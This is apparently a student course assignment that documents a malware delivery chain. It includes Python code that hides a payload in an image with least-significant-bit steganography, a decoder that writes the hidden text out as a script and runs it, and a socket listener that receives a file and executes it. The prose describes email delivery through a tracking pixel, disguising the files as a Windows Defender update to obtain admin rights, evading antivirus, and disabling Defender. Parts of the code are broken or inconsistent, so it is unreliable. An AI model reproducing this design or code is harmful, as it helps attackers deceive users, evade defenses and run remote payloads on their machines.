

Caleb Millard

CMPT 360 Spring 2023

Assignment 7

Malware insertion solution

Assignment	Due Date	group(s)	Language	Language	Platform
1	Monday, Jan 23	1 & 2	Java	Delphi	Windows
2	Monday, Feb 6	1 & 2	C#	Visual basic	Windows
3	Monday, Feb 27th	3	Javascript		Windows
4	Monday, March, 13	1 & 4	Java	F#	Linux
5	Monday, March 20	4(i think)	Kotlin		Android
6	Monday, April 10	1	Python		Windows
7	Monday, April 7th	1,3	Python	html	Windows

This assignment fulfills the following goals:

Group 1

Title:

Malware base and deployment programs

Problem:

We have created a malware problem, but we need to deploy it and get it onto the targets computer

**Documentation:**

Step	What then happens	What is triggered to happen with each step
1	Open email	Image loads and triggers pixel
2	Pixel triggers executable script in the embedded image	Script decodes the program and will write a file and attempt to place it in windows defender prompting the user with a message from the publisher stating, "Windows Defender needs an update"
3	The decoder-script will then write and execute the base camp program	Basecamp will connect to the central server
4	Deploy malware	Malware Deployed

Select and insert your desired payload path into the encoder and the path to the image you wish to encode with your program.

After this, you need to create a tracking pixel; besides this pixel, you need to set up a trigger for your image/executable. It could be a returned integer; this will execute your script embedded in the image.

After the execution of the code, it will deploy the decoder script, which will install the basecamp platform onto the target's computer.

There are three steps between the opening of the image to the actual installation of the basecamp this is to allow us to name the files and avoid windows defender.

By installing the files directly into the windows defender file system, you can request admin privileges directly, and when checking, the file path will disguise as windows defender.

As soon as privileges are granted, the base camp will be installed. (with a little bit more work, you can disable the defender since you installed it directly into the root folder.)

### **Pseudo Code:**

Turn the file into binary bytes and then into binary

Once this conversion is done, access the image pixels one at a time, accessing their binary strings showing color and editing the least significant value at the end of the string to be your desired bit from the next in your list.

After these pixels are updated and saved, you may execute and send the image.

Once a tracking pixel triggers the executable, then it will deploy and decode, installing the base camp and then the server.

### **imports :**

```
from PIL import Image
import os
import codecs
```

### **Variables:**

**Str:** binary\_message(message in binary), utf8\_string, binary\_byte  
Output-path, message\_path, input\_file, output\_file

**Int:** required\_pixels, encoded,pixels(these both are for iterating through each pixel), i(iteration), width, height(both width and height are for image size)x,y iteration loops

**Pixel:** pixel(used to iterate through each pixel RGB)

### **Program Start:**

#### **Generic example of tracking pixel:**

```
  
```

#### **Encoder File:**

```

#Encoder File
#Caleb Millard
#Lab 7 CMPT 360
#Title: malware platform deployment
#Dr Rick Sutcliffe
#Program 1/2
from PIL import Image

def encode_message(image_path, message_path, output_path):
    # Open the image
    with open(message_path, 'r') as file:
        message = file.read()
    image = Image.open(image_path)

    # Convert the message to binary
    binary_message = ''.join(format(ord(char), '08b') for char in message)
    # Get the size of the image in pixels
    width, height = image.size

    # Check if the image can fit the entire message
    required_pixels = len(binary_message)
    total_pixels = width * height * 3 # 3 channels (RGB)
    if required_pixels > total_pixels:
        print("Error: Message is too long to be encoded into the image.")
        return

    # Iterate through each pixel in the image
    encoded_pixels = 0
    for y in range(height):
        for x in range(width):
            pixel = list(image.getpixel((x, y)))

            # Encode the binary message into the pixel values
            if encoded_pixels < required_pixels:
                # Loop through R, G, B traits
                for i in range(3):
                    if encoded_pixels < required_pixels:
                        pixel[i] = (pixel[i] & 254) |
int(binary_message[encoded_pixels])

```

```

        encoded_pixels += 1
    print(pixel)
    # Update the pixel in the image
    image.putpixel((x, y), tuple(pixel))

# Save the encoded image
image.save(output_path)
print(f"Message encoded and saved to '{output_path}'.")

#these have been negated and not given because if i am going to post
anywhere it needs to follow laws
#any and all file paths have been treated as such and negated to disable
to program
message_path = "desiredpayload.py"
input_file = "desiredImage.jpeg"
output_file = "header.jpeg"
encode_message(input_file, message_path, output_file)

```

#### Client Side Code:

```

#Decoder File
#Caleb Millard
#Lab 7 CMPT 360
#Title: malware platform deployment
#Dr Rick Sutcliffe
#Program 2/2

from PIL import Image
import os
import codecs

def decode_message(image_path):
    # Open the image
    image = Image.open(image_path)

    # Get the size of the image
    width, height = image.size

    # Iterate through each pixel in the image and extract the binary
message

```

```

binary_message = ''
for y in range(height):
    for x in range(width):
        pixel = image.getpixel((x, y))

        # Extract the least significant bit from each RGB channel
        for i in range(3): # Loop through R, G, B channels
            binary_message += str(pixel[i] & 1)
decode_binary_bytes(binary_message)

#####
#converts seperated bytes into utf8 text which can be exported as a python
script
#####
def decode_binary_bytes(input_file):
    binary_bytes = split_binary_file(input_file)
    utf8_string = ''

    for binary_byte in binary_bytes:
        binary_byte = binary_byte.strip() # Remove leading/trailing
whitespaces and line breaks

        # Check if binary byte is exactly 8 digits long
        if len(binary_byte) != 8:
            print(f"Warning: Skipping invalid binary byte
'{binary_byte}'")
            continue

        # Convert binary byte to UTF-8 encoded character
        try:
            utf8_byte = codecs.decode(int(binary_byte, 2).to_bytes(1,
'big'), 'utf-8')
            utf8_string += utf8_byte
        except ValueError:
            print(f"Error: Failed to convert binary byte '{binary_byte}'
to UTF-8 encoded character")

```

```

        with open(output_file, 'w') as file:
            file.write(utf8_string)

#####
# splits a binary file into binary bytes and returns them to be converted
into UTF-8
#####

def split_binary_file(input_file):
    with open(input_file, 'r') as file:
        binary_string = file.read().replace('\n', '')
        # Read binary string from file and remove line breaks

    binary_bytes = []
    num_bits = len(binary_string)
    #seperate the bits into 8bit byte format
    for i in range(0, num_bits, 8):
        binary_byte = binary_string[i:i+8]
        binary_bytes.append(binary_byte)
    return binary_bytes

input_file = "Downloads/header.jpeg"
output_file = "H:/CMPT 360/New folder/product.py"
split_binary_file(input_file, output_file)
print(f"Conversion complete. UTF-8 text written to '{output_file}'")
decode_message(input_file)
os.system('cmd /k "basecamp.py"')

```

End of required code

Screenshots:

Since I am legally not allowed to send this over the internet I will provide outputs into text files of each.

The initial conversion to bits:





```
100000 100010 101111 1100011 100010 101100 100000 1100110 1101001 1101100 1100101 1011111 1101110 1100001 1101101 1100101 1011101
1010 1110011 1110101 1100010 1110000 1110010 1101111 1100011 1100101 1110011 1110011 101110 1110010 1110101 1101110 101000 1100011
1110000 1110000 1011111 1100011 1101101 1100100 101100 100000 1100011 1101000 1100101 1100011 1101011 111101 1010100 1110010 1110101
1100101 1011100 100000 1110011 1101000 1100101 1101100 1101100 111101 1010100 1110010 1110101 1100101 101001 1010
```

```
# BaseCamp in the infected computer
# Caleb Millard
# Lab 6 CMPT 360
# Title: malware deployment platform
# Dr. Rick Sutcliffe
# Program 2/2
import socket
import os
import subprocess

# using local IP since we will not be actually infecting anyones computers
IP = "127.0.0.1"
# this could also be changed to an online server with no connections to your PC

H = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = "127.0.0.1"
print(ip)
H.bind((ip, 9898))

H.listen()
client, address = H.accept()

file_name = client.recv(1024).decode()
print(file_name)
fileSize = client.recv(1024).decode()
print(fileSize)
file = open(file_name, "w")
fileBytes = b""

done = False

while not done:
    data = client.recv(1024)
    if fileBytes[-5:] == b"<END>":
        done = True
    else:
        fileBytes += data

file.write(fileBytes)
file.close()

path = os.path.abspath(file_name)

cpp_cmd = ["cmd", "/c", file_name]
subprocess.run(cpp_cmd, check=True, shell=True)
```

### Conclusions:

This took a lot of research as most websites and places I could access to learn about it were restricted and would not tell you how to do it, and even with some coding pieces when I was doing research would not provide any examples or instructions on even how to go about completing this. I then resorted to using Steganography to encode and hide the code from initial scans by anti-virus. Then with the tracking pixel able to ping your image, it can trigger an executable to extract. This was really weird because it didn't really code but how you package it all together, and then when it is embedded in an email it can trigger really easily. The main issue is gaining access to the device, but that can be disguised when the program requests to write the file. If it has already created the file and named it, and given it credentials within the script that it is trying to access, then it will look more official when trying to access the computer prompting the user to give permissions which will make the whole computer vulnerable. Very interesting experience writing this. Of course, I have disabled all code and links to prevent them from being used.